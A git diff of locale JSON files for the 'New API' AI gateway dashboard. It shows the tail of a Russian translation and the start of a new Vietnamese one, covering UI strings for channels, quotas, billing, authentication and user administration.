+    "Type": "Тип",
+    "Type *": "Тип *",
+    "Type a command or search...": "Введите команду или поиск...",
+    "Type-Specific Settings": "Настройки для конкретного типа",
+    "Type:": "Тип:",
+    "UI granularity only &mdash; data is still aggregated hourly": "Только детализация пользовательского интерфейса &mdash; данные по-прежнему агрегируются ежечасно",
+    "Unable to estimate price for this deployment.": "Не удается оценить цену для этого развертывания.",
+    "Unable to generate chat link. Please contact your administrator.": "Не удалось сгенерировать ссылку для чата. Пожалуйста, свяжитесь с вашим администратором.",
+    "Unable to load groups": "Не удалось загрузить группы",
+    "Unable to open chat": "Не удалось открыть чат",
+    "Unable to prepare chat link. Please ensure you have an enabled API key.": "Не удается подготовить ссылку для чата. Убедитесь, что у вас есть активированный API-ключ.",
+    "Unauthorized Access": "Несанкционированный доступ",
+    "Unbind": "Отвязать",
+    "Unbind failed": "Не удалось отвязать",
+    "Unbound {{provider}}": "{{provider}} отвязан",
+    "Unexpected release payload": "Неожиданный формат данных релиза",
+    "Unified API Gateway for": "Единый API-шлюз для",
+    "Unique identifier for this group.": "Уникальный идентификатор для этой группы.",
+    "Unit price (local currency / USD)": "Цена за единицу (местная валюта / USD)",
+    "Unit price (USD)": "Цена за единицу (USD)",
+    "Unit price must be greater than 0": "Цена за единицу должна быть больше 0",
+    "Units per USD": "Единиц за USD",
+    "Unknown": "Неизвестно",
+    "Unknown version": "Неизвестная версия",
+    "Unlimited": "Без ограничений",
+    "Unlimited Quota": "Неограниченная квота",
+    "Unsaved changes": "Несохранённые изменения",
+    "Until": "До",
+    "Untitled": "Без названия",
+    "Untrusted upstream data:": "Недоверенные вышестоящие данные:",
+    "Unused": "Неиспользованные",
+    "Update": "Обновить",
+    "Update All Balances": "Обновить все балансы",
+    "Update API Key": "Обновить API-ключ",
+    "Update Balance": "Обновить баланс",
+    "Update balance for:": "Обновить баланс для:",
+    "Update Channel": "Обновить канал",
+    "Update channel configuration and click save when you're done.": "Обновите конфигурацию канала и нажмите сохранить, когда закончите.",
+    "Update configuration": "Обновить конфигурацию",
+    "Update failed": "Обновление не удалось",
+    "Update Model": "Обновить модель",
+    "Update model configuration and click save when you're done.": "Обновите конфигурацию модели и нажмите сохранить, когда закончите.",
+    "Update plan info": "Обновить информацию о плане",
+    "Update Provider": "Обновить поставщика",
+    "Update Redemption Code": "Обновить код активации",
+    "Update succeeded": "Успешно обновлено",
+    "Update the API key by providing necessary info.": "Обновите API-ключ, указав необходимую информацию.",
+    "Update the configuration for this custom OAuth provider.": "Обновить конфигурацию этого пользовательского поставщика OAuth.",
+    "Update the redemption code by providing necessary info.": "Обновите промокод, предоставив необходимую информацию.",
+    "Update the reusable bundle below.": "Обновите переиспользуемый бандл ниже.",
+    "Update the user by providing necessary info.": "Обновите пользователя, предоставив необходимую информацию.",
+    "Update vendor information for {{name}}": "Обновить информацию о поставщике для {{name}}",
+    "Update your password for account:": "Обновите свой пароль для учетной записи:",
+    "Update your password to keep your account secure": "Обновите пароль, чтобы обеспечить безопасность вашей учётной записи",
+    "Updated": "Обновлено",
+    "Updated successfully": "Обновлено успешно",
+    "Updating all channel balances. This may take a while. Please refresh to see results.": "Обновление балансов всех каналов. Это может занять некоторое время. Пожалуйста, обновите страницу, чтобы увидеть результаты.",
+    "Upgrade Group": "Повысить группу",
+    "Upload": "Загрузка",
+    "Upload a single service account JSON file": "Загрузите JSON-файл одного сервисного аккаунта",
+    "Upload file": "Загрузить файл",
+    "Upload files": "Загрузить файлы",
+    "Upload multiple JSON files in batch modes": "Загрузка нескольких файлов JSON в пакетных режимах",
+    "Upload or reference a local configuration file.": "Загрузить или сослаться на локальный файл конфигурации.",
+    "Upload photo": "Загрузить фото",
+    "Upscale": "Увеличение",
+    "Upstream": "Источник",
+    "Upstream Model Update Check": "Проверка обновлений моделей провайдера",
+    "Upstream Model Updates": "Обновления моделей источника",
+    "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models": "Обновления моделей применены: {{added}} добавлено, {{removed}} удалено, {{ignored}} проигнорировано, всего {{totalIgnored}} проигнорированных моделей",
+    "Upstream price sync": "Синхронизация цен upstream",
+    "Upstream prices fetched successfully": "Цены провайдера успешно получены",
+    "Upstream ratios fetched successfully": "Коэффициенты upstream успешно получены",
+    "Upstream Response": "Ответ Upstream",
+    "Upstream Updates": "Обновления вышестоящих моделей",
+    "uptime": "время бесперебойной работы",
+    "Uptime": "Время работы",
+    "Uptime Kuma": "Время безотказной работы Kuma",
+    "Uptime Kuma groups saved successfully": "Группы Uptime Kuma успешно сохранены",
+    "Uptime Kuma URL": "URL Uptime Kuma",
+    "Uptime since": "Время работы с",
+    "URL": "URL",
+    "URL is required": "URL обязателен",
+    "URL to your logo image (optional)": "URL изображения вашего логотипа (необязательно)",
+    "Usage": "Использование",
+    "Usage logs": "Журналы использования",
+    "Usage Logs": "Журнал использования",
+    "Usage mode": "Режим использования",
+    "Usage-based": "На основе использования",
+    "USD": "USD",
+    "USD Exchange Rate": "Обменный курс USD",
+    "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.": "Используйте совместимый браузер или устройство с биометрической аутентификацией или ключ безопасности для регистрации ключа доступа.",
+    "Use authenticator code": "Использовать код аутентификатора",
+    "Use backup code": "Использовать резервный код",
+    "Use disk cache when request body exceeds this size": "Использовать дисковый кэш, когда тело запроса превышает этот размер",
+    "Use our unified OpenAI-compatible endpoint in your applications": "Используйте наш единый OpenAI-совместимый эндпоинт в ваших приложениях",
+    "Use Passkey to sign in without entering your password.": "Используйте ключ доступа для входа без ввода пароля.",
+    "Use secure connection when sending emails": "Использовать безопасное соединение при отправке электронных писем",
+    "Use sidebar shortcut": "Использовать ярлык боковой панели",
+    "Use this token for API authentication": "Используйте этот токен для аутентификации API",
+    "Use your Passkey": "Используйте свой ключ доступа",
+    "used": "использовано",
+    "Used": "Использовано",
+    "Used / Remaining": "Использовано / Осталось",
+    "Used for load balancing. Higher weight = more requests": "Используется для балансировки нагрузки. Больший вес = больше запросов",
+    "Used in URLs and API routes": "Используется в URL и маршрутах API",
+    "Used Quota": "Лимит потребления",
+    "Used to authenticate with io.net deployment API": "Используется для аутентификации в API развертывания io.net",
+    "Used to authenticate with the worker. Leave blank to keep the existing secret.": "Используется для аутентификации с воркером. Оставьте пустым, чтобы сохранить существующий секрет.",
+    "Used:": "Использовано:",
+    "User": "Пользователь",
+    "User {{id}}": "Пользователь {{id}}",
+    "User Agreement": "Пользовательское соглашение",
+    "User Analytics": "Аналитика пользователей",
+    "User Consumption Ranking": "Рейтинг потребления",
+    "User Consumption Trend": "Тренд потребления",
+    "User created successfully": "Пользователь успешно создан",
+    "User dashboard and quota controls.": "Панель пользователя и управление квотами.",
+    "User Exclusive Ratio": "Эксклюзивный коэффициент",
+    "User Group": "Группа пользователей",
+    "User group name": "Название группы пользователей",
+    "User Group: {{ratio}}x": "Группа пользователя: {{ratio}}x",
+    "User groups that can access channels with this tag": "Группы пользователей, которые могут получить доступ к каналам с этим тегом",
+    "User groups that can access this channel. ": "Группы пользователей, которые могут получить доступ к этому каналу. ",
+    "User ID": "ID пользователя",
+    "User ID Field": "Поле ID пользователя",
+    "User ID:": "ID пользователя:",
+    "User Info Endpoint": "Конечная точка информации о пользователе",
+    "User Info Endpoint (Optional)": "Конечная точка информации о пользователе (необязательно)",
+    "User Information": "Информация о пользователе",
+    "User Menu": "Меню пользователя",
+    "User personal functions": "Личные функции пользователя",
+    "User Subscription Management": "Управление подписками пользователя",
+    "User updated successfully": "Пользователь успешно обновлен",
+    "User Verification": "Проверка пользователя",
+    "User-Agent include (one per line)": "User-Agent include (по одному на строку)",
+    "Username": "Имя пользователя",
+    "Username confirmation does not match": "Подтверждение имени пользователя не совпадает",
+    "Username Field": "Поле имени пользователя",
+    "Username or Email": "Имя пользователя или Email",
+    "Users": "Пользователи",
+    "Users call the model on the left. The platform forwards the request to the upstream model on the right.": "Пользователи вызывают модель слева. Платформа перенаправляет запрос вышестоящей модели справа.",
+    "Users must wait for a successful drawing before upscales or variations.": "Пользователи должны дождаться успешного рисунка перед апскейлом или вариациями.",
+    "uses": "использует",
+    "Validity": "Срок действия",
+    "Validity Period": "Срок действия",
+    "Value": "Значение",
+    "Value must be at least 0": "Значение должно быть не менее 0",
+    "Value Regex": "Регулярное выражение значения",
+    "variable": "переменная",
+    "variable) *": "переменная) *",
+    "Variables": "Переменные",
+    "Vary": "Вариация",
+    "Vary (Strong)": "Вариация (сильная)",
+    "Vary (Subtle)": "Вариация (лёгкая)",
+    "Vendor": "Поставщик",
+    "Vendor deleted successfully": "Поставщик успешно удалён",
+    "Vendor Name *": "Название поставщика *",
+    "Vendor:": "Поставщик:",
+    "Verification code": "Код подтверждения",
+    "Verification Code": "Код подтверждения",
+    "Verification code must be 6 digits": "Код подтверждения должен содержать 6 цифр",
+    "Verification code sent! Please check your email.": "Код подтверждения отправлен! Пожалуйста, проверьте вашу электронную почту.",
+    "Verification code updates every 30 seconds.": "Код подтверждения обновляется каждые 30 секунд.",
+    "Verification email sent": "Письмо для подтверждения отправлено",
+    "Verification failed": "Подтверждение не удалось",
+    "Verification is not configured properly": "Подтверждение настроено неправильно",
+    "Verification required to reveal the saved key.": "Требуется подтверждение для отображения сохраненного ключа.",
+    "Verify": "Проверить",
+    "Verify and Sign In": "Подтвердить и войти",
+    "Verify Setup": "Проверить настройку",
+    "Verify your database connection": "Проверьте подключение к базе данных",
+    "Version Overrides": "Переопределения версий",
+    "Vertex AI": "Vertex AI",
+    "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.": "Vertex AI не поддерживает functionResponse.id. Включите, чтобы автоматически удалить это поле.",
+    "Vertex AI Key Format": "Формат ключа Vertex AI",
+    "Video": "Видео",
+    "Video Remix": "Ремикс видео",
+    "Vidu": "Vidu",
+    "View": "Просмотр",
+    "View all currently available models": "Просмотреть все доступные модели",
+    "View and manage your API usage logs": "Просмотр и управление журналами использования API",
+    "View and manage your drawing logs": "Просмотр и управление журналами рисования",
+    "View and manage your task logs": "Просмотр и управление журналами задач",
+    "View dashboard overview and statistics": "Просмотр обзора и статистики панели управления",
+    "View detailed information about this user including balance, usage statistics, and invitation details.": "Просмотр подробной информации об этом пользователе, включая баланс, статистику использования и данные приглашения.",
+    "View details": "Просмотреть детали",
+    "View document": "Просмотреть документ",
+    "View logs": "Просмотреть логи",
+    "View mode": "Режим отображения",
+    "View model call count analytics and charts": "Просмотр аналитики и графиков количества вызовов моделей",
+    "View model statistics and charts": "Просмотр статистики и графиков моделей",
+    "View Pricing": "Посмотреть цены",
+    "View the complete details for this": "Просмотр полных деталей этой",
+    "View the complete details for this log entry": "Просмотр полной информации об этой записи журнала",
+    "View the complete error message and details": "Просмотр полного сообщения об ошибке и деталей",
+    "View the complete prompt and its English translation": "Просмотр полного промпта и его перевода на английский",
+    "View the generated image": "Просмотр сгенерированного изображения",
+    "View user consumption statistics and charts": "Просмотр статистики и графиков потребления",
+    "View your topup transaction records and payment history": "Просмотреть записи о пополнении счета и историю платежей",
+    "Violation Code": "Код нарушения",
+    "Violation deduction amount": "Сумма вычета за нарушение",
+    "Violation Fee": "Штраф за нарушение",
+    "Violation Marker": "Маркер нарушения",
+    "vip": "vip",
+    "VIP users with premium access": "VIP-пользователи с премиум-доступом",
+    "Visit Settings → General and adjust quota options...": "Перейдите в Настройки → Общие и настройте параметры квоты...",
+    "Visitors must authenticate before accessing the pricing directory.": "Посетители должны пройти аутентификацию перед доступом к каталогу цен.",
+    "Visual": "Визуальный",
+    "Visual editor": "Визуальный редактор",
+    "Visual Editor": "Визуальный редактор",
+    "Visual indicator color for the API card": "Цвет визуального индикатора для карточки API",
+    "Visual Mode": "Визуальный режим",
+    "VolcEngine": "VolcEngine",
+    "Waffo Pancake Payment Gateway": "Платёжный шлюз Waffo Pancake",
+    "Waffo Payment": "Оплата Waffo",
+    "Waffo Payment Gateway": "Платёжный шлюз Waffo",
+    "Waffo Public Key (Production)": "Публичный ключ Waffo (Продакшн)",
+    "Waffo Public Key (Sandbox)": "Публичный ключ Waffo (Песочница)",
+    "Waiting": "Ожидание",
+    "Waiting for email...": "Ожидание письма...",
+    "Wallet": "Кошелек",
+    "Wallet First": "Кошелёк в приоритете",
+    "Wallet Management": "Управление кошельком",
+    "Wallet management and personal preferences.": "Управление кошельком и личные предпочтения.",
+    "Wallet Only": "Только кошелёк",
+    "Warning": "Предупреждение",
+    "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.": "Предупреждение: базовый URL не должен заканчиваться на /v1. Новый API обработает это автоматически. Это может привести к сбоям запросов.",
+    "Warning: Disabling 2FA will make your account less secure.": "Внимание: Отключение 2FA сделает вашу учетную запись менее безопасной.",
+    "Warning: This action is permanent and irreversible!": "Внимание: Это действие является постоянным и необратимым!",
+    "We apologize for the inconvenience.": "Приносим извинения за неудобства.",
+    "We could not load the setup status.": "Не удалось загрузить статус настройки.",
+    "We will prompt your device to confirm using biometrics or your hardware key.": "Мы предложим вашему устройству подтвердить действие с помощью биометрии или аппаратного ключа.",
+    "We'll be back online shortly.": "Мы скоро вернемся в сеть.",
+    "Web Search": "Веб-поиск",
+    "Webhook Configuration:": "Конфигурация веб-хука:",
+    "Webhook public key (production)": "Публичный ключ webhook (production)",
+    "Webhook public key (production) is required": "Требуется публичный ключ webhook (production)",
+    "Webhook public key (sandbox)": "Публичный ключ webhook (sandbox)",
+    "Webhook public key (sandbox) is required": "Требуется публичный ключ webhook (sandbox)",
+    "Webhook secret": "Секрет веб-хука",
+    "Webhook Secret": "Секрет веб-хука",
+    "Webhook signing secret (leave blank unless updating)": "Секрет подписи веб-хука (оставьте пустым, если не обновляете)",
+    "Webhook URL": "Адрес Webhook",
+    "Webhook URL:": "URL веб-хука:",
+    "Website is under maintenance!": "Сайт находится на техническом обслуживании!",
+    "WeChat": "WeChat",
+    "WeChat login QR code": "QR-код для входа в WeChat",
+    "WeChat QR code will be displayed here": "QR-код WeChat будет отображен здесь",
+    "WeChat sign in": "Вход через WeChat",
+    "Week": "Неделя",
+    "Weekday": "День недели",
+    "Weekly": "Еженедельно",
+    "Weekly Window": "Недельное окно",
+    "Weight": "Вес",
+    "Welcome back!": "Добро пожаловать обратно!",
+    "Welcome to our New API...": "Добро пожаловать в наш New API...",
+    "Well-Known URL": "Известный эксперт",
+    "Well-Known URL must start with http:// or https://": "Well-Known URL должен начинаться с http:// или https://",
+    "What would you like to know?": "Что вы хотели бы узнать?",
+    "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.": "При совпадении условий итоговая цена умножается на X. Несколько совпадений умножаются вместе; значения < 1 действуют как скидки.",
+    "When enabled, if channels in the current group fail, it will try channels in the next group in order.": "Если включено, при сбое каналов в текущей группе система попробует каналы следующей группы по порядку.",
+    "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.": "При включении большие тела запросов временно сохраняются на диске, что значительно снижает использование памяти. Рекомендуется SSD.",
+    "When enabled, Midjourney callbacks are accepted (reveals server IP).": "При включении принимаются обратные вызовы Midjourney (раскрывает IP сервера).",
+    "When enabled, newly created tokens start in the first auto group.": "При включении вновь созданные токены начинаются в первой автогруппе.",
+    "When enabled, prompts are scanned before reaching upstream models.": "При включении запросы сканируются перед достижением вышестоящих моделей.",
+    "When enabled, the store field will be blocked": "Если включено, поле магазина будет заблокировано",
+    "When enabled, violation requests will incur additional charges.": "При включении за нарушения будут начисляться дополнительные расходы.",
+    "When enabled, zero-cost models also pre-consume quota before final settlement.": "При включении бесплатные модели также предварительно потребляют квоту до окончательного расчета.",
+    "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.": "Когда мониторинг включён и использование ресурсов превышает порог, новые Relay-запросы будут отклонены.",
+    "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.": "При работе в контейнерах или эфемерных средах убедитесь, что файл SQLite сопоставлен с постоянным хранилищем, чтобы избежать потери данных при перезапуске.",
+    "Whitelist": "Белый список",
+    "Whitelist (Only allow listed domains)": "Белый список (Разрешить только указанные домены)",
+    "Whitelist (Only allow listed IPs)": "Белый список (Разрешить только указанные IP-адреса)",
+    "whsec_xxx": "whsec_xxx",
+    "Window:": "Окно:",
+    "with conflicts": "с конфликтами",
+    "Worker Access Key": "Ключ доступа воркера",
+    "Worker Proxy": "Прокси воркера",
+    "Worker URL": "URL воркера",
+    "Workspaces": "Рабочие пространства",
+    "x": "x",
+    "xAI": "xAI",
+    "Xinference": "Xinference",
+    "Xunfei": "Xunfei",
+    "years": "лет",
+    "You are about to delete {{count}} API key(s).": "Вы собираетесь удалить {{count}} API-ключ(а/ей).",
+    "You are running the latest version ({{version}}).": "Вы используете последнюю версию ({{version}}).",
+    "You can close this tab once the binding completes or a success message appears in the original window.": "Вы можете закрыть эту вкладку, как только привязка завершится или в исходном окне появится сообщение об успехе.",
+    "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.": "Вы можете вручную добавить их в \"Пользовательские имена моделей\", нажать \"Заполнить\", а затем отправить, или использовать операции ниже для автоматической обработки.",
+    "You can only check in once per day": "Вы можете заселяться только один раз в день",
+    "You don't have necessary permission": "У вас нет необходимых разрешений",
+    "You have unsaved changes": "У вас есть несохранённые изменения",
+    "You have unsaved changes. Are you sure you want to leave?": "У вас есть несохранённые изменения. Вы уверены, что хотите уйти?",
+    "You Pay": "Вы платите",
+    "You save": "Вы экономите",
+    "You will be redirected to Telegram to complete the binding process.": "Вы будете перенаправлены в Telegram для завершения процесса привязки.",
+    "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.": "Вы будете автоматически перенаправлены. Если через несколько секунд ничего не происходит, вы можете вернуться на предыдущую страницу.",
+    "your AI integration?": "вашу интеграцию с ИИ?",
+    "Your Azure OpenAI endpoint URL": "Ваш URL конечной точки Azure OpenAI",
+    "Your Bot Name": "Имя бота",
+    "Your Cloudflare Account ID": "Ваш ID аккаунта Cloudflare",
+    "Your Discord OAuth Client ID": "Ваш Discord OAuth Client ID",
+    "Your Discord OAuth Client Secret": "Ваш Discord OAuth Client Secret",
+    "Your GitHub OAuth Client ID": "Ваш ID клиента GitHub OAuth",
+    "Your GitHub OAuth Client Secret": "Ваш секрет клиента GitHub OAuth",
+    "Your new backup codes are ready": "Ваши новые резервные коды готовы",
+    "Your Referral Link": "Ваша реферальная ссылка",
+    "Your system access token for API authentication. Keep it secure and don't share it with others.": "Ваш системный токен доступа для аутентификации API. Храните его в безопасности и не делитесь им с другими.",
+    "Your Telegram Bot Token": "Ваш токен Telegram-бота",
+    "Your Turnstile secret key": "Секретный ключ Turnstile",
+    "Your Turnstile site key": "Ключ сайта Turnstile",
+    "Zhipu": "Zhipu",
+    "Zhipu V4": "Zhipu V4",
+    "Zoom": "Zoom"
+  }
+}
diff --git a/new-api/web/default/src/i18n/locales/vi.json b/new-api/web/default/src/i18n/locales/vi.json
new file mode 100644
index 0000000..116a10c
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/vi.json
@@ -0,0 +1,3683 @@
+{
+  "translation": {
+    "360": "360",
+    "1000": "1000",
+    "10000": "10000",
+    "_copy": "_bản sao",
+    ", and": ", và",
+    "? This action cannot be undone.": "? Hành động này không thể hoàn tác.",
+    ". Please fix the JSON before saving.": ". Vui lòng sửa JSON trước khi lưu.",
+    ". This action cannot be undone.": ". Hành động này không thể hoàn tác.",
+    "...": "...",
+    "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+    "(Leave empty to dissolve tag)": "Để trống để xóa thẻ.",
+    "(Optional: redirect model names)": "(Tùy chọn: chuyển hướng tên mô hình)",
+    "(Override all channels' groups)": "(Ghi đè các nhóm của tất cả các kênh)",
+    "(Override all channels' models)": "(Ghi đè các mô hình của tất cả các kênh)",
+    "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+    "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+    "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+    "{{category}} Models": "Mô hình {{category}}",
+    "{{count}} channel(s) deleted": "Đã xóa {{count}} kênh",
+    "{{count}} channel(s) disabled": "Đã tắt {{count}} kênh",
+    "{{count}} channel(s) enabled": "Đã bật {{count}} kênh",
+    "{{count}} channel(s) failed to disable": "{{count}} kênh không thể tắt",
+    "{{count}} channel(s) failed to enable": "{{count}} kênh không thể bật",
+    "{{count}} days ago": "{{count}} ngày trước",
+    "{{count}} days remaining": "{{count}} days remaining",
+    "{{count}} disabled channel(s) deleted": "Đã xóa {{count}} kênh đã tắt",
+    "{{count}} hours ago": "{{count}} giờ trước",
+    "{{count}} IP(s)": "{{count}} IP",
+    "{{count}} log entries removed.": "Đã xóa {{count}} mục nhật ký.",
+    "{{count}} minutes ago": "{{count}} phút trước",
+    "{{count}} model(s)": "{{count}} mô hình",
+    "{{count}} months ago": "{{count}} tháng trước",
+    "{{count}} override": "{{count}} ghi đè",
+    "{{count}} tiers": "{{count}} bậc",
+    "{{count}} weeks ago": "{{count}} tuần trước",
+    "{{field}} updated to {{value}}": "{{field}} đã cập nhật thành {{value}}",
+    "{{field}} updated to {{value}} for tag: {{tag}}": "{{field}} đã cập nhật thành {{value}} cho nhãn: {{tag}}",
+    "{{n}} model(s) selected": "Đã chọn {{n}} model",
+    "{{value}}ms": "{{value}} ms",
+    "{{value}}s": "{{value}} s",
+    "@lobehub/icons key": "@lobehub/icons khóa",
+    "@lobehub/icons key name": "@lobehub/icons tên khóa",
+    "/status/": "/status/",
+    "/your/endpoint": "/điểm cuối của bạn",
+    "% off": "% giảm giá",
+    "`, and `-nothinking` suffixes while routing to the correct Gemini variant.": ", và",
+    "© 2025 Your Company. All rights reserved.": "© 2025 Công ty của bạn. Mọi quyền được bảo lưu.",
+    "| Based on": "| Dựa trên",
+    "0 means unlimited": "0 có nghĩa là không giới hạn",
+    "1 Day": "1 ngày",
+    "1 day ago": "1 ngày trước",
+    "1 Hour": "1 giờ",
+    "1 hour ago": "1 giờ trước",
+    "1 minute ago": "1 phút trước",
+    "1 Month": "1 tháng",
+    "1 month ago": "1 tháng trước",
+    "1 week ago": "1 tuần trước",
+    "1 year ago": "1 năm trước",
+    "1. Create an application in your Gotify server": "1. Tạo một ứng dụng trong máy chủ Gotify của bạn",
+    "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".": "1) Nhấp «Mở trang ủy quyền» và đăng nhập. 2) Trình duyệt có thể chuyển tới localhost (trang không tải cũng được). 3) Sao chép toàn bộ URL từ thanh địa chỉ và dán xuống. 4) Nhấp «Tạo thông tin xác thực».",
+    "10 / page": "10 / trang",
+    "100 / page": "100 / trang",
+    "14 Days": "14 ngày",
+    "192.168.1.1&#10;10.0.0.0/8": "192.168.1.1&#10;10.0.0.0/8",
+    "1M": "1M",
+    "1W": "1W",
+    "2. Copy the application token": "2. Sao chép token ứng dụng",
+    "20 / page": "20 / trang",
+    "24 Hours": "24 giờ",
+    "24 hours ago": "24 giờ trước",
+    "29 Days": "29 ngày",
+    "3. Enter your Gotify server URL and token above": "3. Nhập URL máy chủ Gotify và mã thông báo của bạn ở trên",
+    "30 Days": "30 ngày",
+    "30 days ago": "30 ngày trước",
+    "5-Hour Window": "Cửa sổ 5 giờ",
+    "50 / page": "50 / trang",
+    "7 Days": "7 ngày",
+    "7 days ago": "7 ngày trước",
+    "80,443,8080": "80,443,8080",
+    "About": "Giới thiệu",
+    "Accept Unpriced Models": "Chấp nhận các Mô hình chưa định giá",
+    "Accepts a JSON array of model identifiers that support the Imagine API.": "Chấp nhận một mảng JSON gồm các mã định danh mô hình hỗ trợ API Imagine.",
+    "Accepts comma-separated status codes and inclusive ranges.": "Chấp nhận mã trạng thái phân cách bằng dấu phẩy và phạm vi bao gồm.",
+    "Access Denied Message": "Thông báo từ chối truy cập",
+    "Access Forbidden": "Truy cập bị cấm",
+    "Access Policy (JSON)": "Chính sách truy cập (JSON)",
+    "Access previous conversations and start new ones.": "Truy cập các cuộc trò chuyện trước đó và bắt đầu các cuộc trò chuyện mới.",
+    "Access Token": "Token truy cập",
+    "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+    "Account Binding Management": "Quản lý liên kết tài khoản",
+    "Account Bindings": "Liên kết tài khoản",
+    "Account created! Please sign in": "Tài khoản đã được tạo! Vui lòng đăng nhập",
+    "Account deleted successfully": "Tài khoản đã được xóa thành công",
+    "Account ID *": "ID tài khoản *",
+    "Account Info": "Thông tin tài khoản",
+    "Account used when authenticating with the SMTP server": "Tài khoản được sử dụng khi xác thực với máy chủ SMTP",
+    "Action confirmation": "Xác nhận hành động",
+    "Actions": "Hành động",
+    "active": "hoạt động",
+    "Active": "Hoạt động",
+    "Active Cache Count": "Số bộ nhớ đệm hoạt động",
+    "Active Files": "Tệp đang hoạt động",
+    "active users": "Người dùng tích cực",
+    "Actual Amount": "Số tiền thực tế",
+    "Actual Model": "Mô hình thực tế",
+    "Actual Model:": "Mô hình thực tế:",
+    "Add": "Add",
+    "Add {{title}}": "Thêm {{title}}",
+    "Add a group identifier to the auto assignment list.": "Thêm một mã định danh nhóm vào danh sách phân công tự động.",
+    "Add a new API key by providing necessary info.": "Thêm khóa API mới bằng cách cung cấp thông tin cần thiết.",
+    "Add a new channel by providing the necessary information.": "Thêm kênh mới bằng cách cung cấp thông tin cần thiết.",
+    "Add a new model to the system by providing the necessary information.": "Thêm một mô hình mới vào hệ thống bằng cách cung cấp thông tin cần thiết.",
+    "Add a new user by providing necessary info.": "Thêm người dùng mới bằng cách cung cấp thông tin cần thiết.",
+    "Add a new vendor to the system": "Thêm một nhà cung cấp mới vào hệ thống",
+    "Add an extra layer of security to your account": "Thêm một lớp bảo mật bổ sung cho tài khoản của bạn",
+    "Add and submit": "Thêm và gửi",
+    "Add Announcement": "Thêm Thông báo",
+    "Add API": "Thêm API",
+    "Add API Shortcut": "Thêm lối tắt API",
+    "Add auto group": "Thêm nhóm tự động",
+    "Add chat preset": "Thêm mẫu trò chuyện",
+    "Add condition": "Thêm điều kiện",
+    "Add custom model(s), comma-separated": "Thêm mô hình tùy chỉnh, phân tách bằng dấu phẩy",
+    "Add discount tier": "Thêm bậc giảm giá",
+    "Add each model or tag you want to include.": "Thêm mỗi mô hình hoặc thẻ bạn muốn đưa vào.",
+    "Add FAQ": "Thêm FAQ",
+    "Add from available models...": "Thêm từ các mô hình có sẵn...",
+    "Add Funds": "Thêm Tiền",
+    "Add group": "Thêm nhóm",
+    "Add Group": "Thêm Nhóm",
+    "Add group rate limit": "Thêm giới hạn tốc độ nhóm",
+    "Add group rules": "Thêm quy tắc nhóm",
+    "Add Mapping": "Thêm ánh xạ",
+    "Add method": "Thêm phương thức",
+    "Add Mode": "Thêm Chế độ",
+    "Add model": "Thêm mô hình",
+    "Add Model": "Thêm Mô hình",
+    "Add Models": "Thêm mô hình",
+    "Add new amount": "Thêm số tiền mới",
+    "Add new redemption code(s) by providing necessary info.": "Thêm mã đổi thưởng mới bằng cách cung cấp thông tin cần thiết.",
+    "Add OAuth Provider": "Thêm nhà cung cấp OAuth",
+    "Add param/header": "Thêm tham số/header",
+    "Add payment method": "Thêm phương thức thanh toán",
+    "Add photos or files": "Thêm ảnh hoặc tệp",
+    "Add product": "Thêm sản phẩm",
+    "Add Provider": "Thêm nhà cung cấp",
+    "Add Quota": "Thêm Hạn mức",
+    "Add ratio override": "Thêm ghi đè tỷ lệ",
+    "Add Row": "Thêm Hàng",
+    "Add Rule": "Thêm quy tắc",
+    "Add rule group": "Thêm nhóm quy tắc",
+    "Add selectable group": "Thêm nhóm có thể chọn",
+    "Add subscription": "Thêm đăng ký",
+    "Add tags...": "Thêm thẻ...",
+    "Add tier": "Thêm bậc",
+    "Add time condition": "Thêm điều kiện thời gian",
+    "Add time rule group": "Thêm nhóm quy tắc theo thời gian",
+    "Add Uptime Kuma Group": "Thêm Nhóm Uptime Kuma",
+    "Add User": "Thêm người dùng",
+    "Add user group": "Thêm nhóm người dùng",
+    "Add your API keys, set up channels and configure access permissions": "Thêm khóa API, thiết lập kênh và cấu hình quyền truy cập",
+    "Added {{count}} custom model(s)": "Đã thêm {{count}} mô hình tùy chỉnh",
+    "Added {{count}} model(s)": "Đã thêm {{count}} mô hình",
+    "Added successfully": "Thêm thành công",
+    "Additional information": "Thông tin bổ sung",
+    "Additional Information": "Thông tin bổ sung",
+    "Additional Limit": "Hạn mức bổ sung",
+    "Additional Limits": "Các hạn mức bổ sung",
+    "Additional metered capability": "Tính năng tính phí theo mức dùng bổ sung",
+    "Adjust Quota": "Điều chỉnh hạn mức",
+    "Adjust the appearance and layout to suit your preferences.": "Điều chỉnh giao diện và bố cục để phù hợp với sở thích của bạn.",
+    "Admin": "Quản trị viên",
+    "Admin access required": "Yêu cầu quyền truy cập Admin",
+    "Admin area": "Khu vực quản trị",
+    "Admin notes (only visible to admins)": "Ghi chú của quản trị viên (chỉ hiển thị với quản trị viên)",
+    "Admin Only": "Chỉ dành cho quản trị viên",
+    "Administer user accounts and roles.": "Quản lý tài khoản người dùng và vai trò.",
+    "Administrator account": "Tài khoản quản trị viên",
